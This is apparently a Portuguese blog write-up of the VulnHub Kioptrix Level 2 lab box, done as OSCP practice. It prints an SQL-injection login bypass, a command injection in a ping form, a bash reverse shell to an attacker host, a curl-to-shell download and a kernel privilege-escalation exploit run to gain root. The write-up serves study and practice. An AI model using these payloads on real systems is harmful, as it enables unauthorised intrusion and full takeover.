WriteUp Kioptrix: Level 2

Dando continuidade aos posts da serie de writeups de box’s que eu estou resolvendo para praticar para a OSCP. Vou continuar ownado as máquinas da Kioptrix, se não me engano são 5 Box’s, sendo 4 no nivel iniciante e uma no nível intermediario. So lets roll!

Machine Name: Kioptrix: Level 1.1 (#2)
Resource: https://www.vulnhub.com/entry/kioptrix-level-11-2,23/

Reconhecimento:

Para um bom hack é necessário ter um bom reconhecimento, ajuda a não ficar andando em circúlos e essas coisas que acontecem quando a gente se perde. Vamos utilizar o nmap, é uma ferramenta simples, eficiênte e dá bons resultados!

# Nmap 7.60 scan initiated Sun Nov 24 05:33:10 2019 as: nmap -sS -sV -sC -Pn -oA kioptix2_nmap 10.10.10.106
Nmap scan report for 172.16.0.106
Host is up (0.0042s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 3.9p1 (protocol 1.99)
| ssh-hostkey: 
|   1024 8f:3e:8b:1e:58:63:fe:cf:27:a3:18:09:3b:52:cf:72 (RSA1)
|   1024 34:6b:45:3d:ba:ce:ca:b2:53:55:ef:1e:43:70:38:36 (DSA)
|_  1024 68:4d:8c:bb:b6:5a:bd:79:71:b8:71:47:ea:00:42:61 (RSA)
|_sshv1: Server supports SSHv1
80/tcp   open  http     Apache httpd 2.0.52 ((CentOS))
|_http-server-header: Apache/2.0.52 (CentOS)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
111/tcp  open  rpcbind  2 (RPC #100000)
| rpcinfo: 
|   program version   port/proto  service
|   100000  2            111/tcp  rpcbind
|   100000  2            111/udp  rpcbind
|   100024  1            615/udp  status
|_  100024  1            618/tcp  status
443/tcp  open  ssl/http Apache httpd 2.0.52 ((CentOS))
|_http-server-header: Apache/2.0.52 (CentOS)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2009-10-08T00:10:47
|_Not valid after:  2010-10-08T00:10:47
|_ssl-date: 2019-11-24T06:24:21+00:00; -1h10m23s from scanner time.
| sslv2: 
|   SSLv2 supported
|   ciphers: 
|     SSL2_RC2_128_CBC_WITH_MD5
|     SSL2_DES_64_CBC_WITH_MD5
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|     SSL2_RC4_64_WITH_MD5
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|     SSL2_RC4_128_WITH_MD5
|_    SSL2_RC4_128_EXPORT40_WITH_MD5
631/tcp  open  ipp      CUPS 1.1
| http-methods: 
|_  Potentially risky methods: PUT
|_http-server-header: CUPS/1.1
|_http-title: 403 Forbidden
3306/tcp open  mysql    MySQL (unauthorized)
MAC Address: A0:C5:89:EC:EF:AA (Intel Corporate)

Host script results:
|_clock-skew: mean: -1h10m23s, deviation: 0s, median: -1h10m23s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Nov 24 05:34:45 2019 -- 1 IP address (1 host up) scanned in 94.81 seconds

O resultado do nmap reportou que existem pelo menos 6 portas abertas, toda porta é um serviço(camada de aplicação, vai kurose caralho) e o nmap identificou os seguintes serviços, SSH(22/TCP), HTTP(80/TCP) e HTTP(443), os demais não tem muita importância, só ressaltando que essas máquinas são antigas e por exemplo o serviço do CUPS(631/TCP), é um serviço de impressão do linux e ele possui uma vulnerabilidade na versão que a box está operando, contudo, porém, o diretório web para a exploração do CUPS não está acessível. Eu então comecei a procurar exploits do apache que poderiam dar bypass no 403 do CUPS para ver se conseguia encaixar dois exploits em um ataque só, porém foi tudo desnecessário, pelo menos até onde eu entendi, o CUPS parece só uma distração, depois procurei umas writeups sobre e não vi ninguém ownado o CUPS. Se você ownou, por favor, compartilhe.

Superficie de ataque Web

Em alguns casos eu sempre começo verificando as aplicações(HTTP,HTTPS,API e etc) do alvo e quando eu fico sem opções, começo a analisar os outros serviços como SSH, MYSQL e etc. Na primeira analise da aplicação web foi identificada uma falha de SQL Injection que possibilitou realizar o login no painel da aplicação web, o payload utilizado foi relativamente simples, apenas foi forçado o bool para true com o statment OR.

URL:http://Kioptrix2/
' or 2=2#

A próxima tela da aplicação é uma tela para execução de PING(ICMP Request), ping é um protocolo de verificação de ‘qualidade'(latencia e outros) de link, se os hosts estão acessíveis e também para troubeshot de rede. A tela que eu não tirei print, tinha apenas um campo de inserção para o endereço IPv4 do host que você iria disparar o ping como destino. Testes indicaram que a feature de ping possui vulnerabilidade de commmand injection.

URL:http://Kioptrix2/pingit.php
1; ls -l

total 8
-rwxr-Sr-t  1 root root 1733 Feb  9  2012 index.php
-rwxr-Sr-t  1 root root  199 Oct  8  2009 pingit.php

Através da falha de command injection foi possível executar comandos arbitrários no alvo, visando melhorar a usabilidade do acesso, uma conexão reversa foi estabelecida utilizando uma conexão de socket a partir do comando bash e mecanismos de conexão nativos do linux.

URL:http://Kioptrix2/pingit.php
1; bash -i >& /dev/tcp/intruder_machine/443 0>&1

Então na máquina do atacante foi possível receber a conexão com o Netcat.

$ sudo nc -tlp 443
bash: no job control in this shell
bash-3.00$ id
uid=48(apache) gid=48(apache) groups=48(apache)
bash-3.00$ uname -a
Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686 i686 i386 GNU/Linux

Escalação de privilégios.

Uma parte importante da escalação de privilégios é o reconhecimento, nessa etapa é necessário identificar a maior parte dos componentes do sistema alvo, usuários, comportamento, rotinas. Uma ferramenta que automatiza uma parte desse processo é a Linux Exploit Suggester. A ferramenta Linux Exploit Suggester faz uma analise da versão do kernel, programas, daemons do sistema alvo e então sugere exploits para a escalação de privilégios.

O download da ferramenta pode ser realizado no repositório oficial, https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh. No sistema comprometido, uma tentativa de download da ferramenta utilizando o comando curl falhou pois o mesmo não estava instalado.

$ curl -s  https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh | sh

O mesmo procedimento pode ser realizado com o programa wget.

wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh --no-check-certificate

Se caso o download não for possível, você ainda pode realizar o download para a sua máquina e então subir um servidor HTTP e realizar o download da máquina comprometida, o módulo do python2 SimpleHTTPServer inicia um serviço HTTP para compartilhar arquivos através do protocolo Web, por default ele utiliza a porta 8000, então sua requisição teria que ser realizada para http://intruder_machine:8000/expl.c com algum programa capaz de realizar a comunicação ou download via HTTP como informado anteriormente, curl ou wget resolvem.

operador@remember:~/Documents/CTF/vulnhub/kioptix_l2/exploits$ python2 -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
10.10.10.106 - - [24/Nov/2019 05:51:36] "GET /expl.c HTTP/1.0" 200 -

O Linux Exploit Suggester recomendou o exploit Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) – ‘ip_append_data()’ Ring0 Privilege Escalation (1) https://www.exploit-db.com/exploits/9542, de acordo com o comando uname, a versão do kernel é compativel com o exploit.

bash-3.00$ uname -a
Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686 i686 i386 GNU/Linux

Posteriormente o download do exploit, uma vez que ele foi escrito em C, é necessário compilar o mesmo para poder executar.

bash-3.00$  gcc -o xpl xlp.c
xlp.c:109:28: warning: no newline at end of file
bash-3.00$ ls 
les.sh
xlp.c
xpl

Depois de compilado, o exploit pode ser executado.

bash-3.00$ ./xpl
sh: no job control in this shell
sh-3.00# id
uid=0(root) gid=0(root) groups=48(apache)

O exploit obteve exito escalando privilégio, concedendo acesso root(0) para o atacante.

Uma segunda possível forma de comprometer essa box, acredito que tenha relação com o serviço do CUPS 1.1 porém não obtive sucesso, o exploit encontrado foi https://github.com/0x00string/oldays/blob/master/CVE-2015-1158.py porém a dificuldade é que o path da aplicação do CUPS está retornando 403, impossibilitando a execução do exploit.

É isso, em breve mais writeups!

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.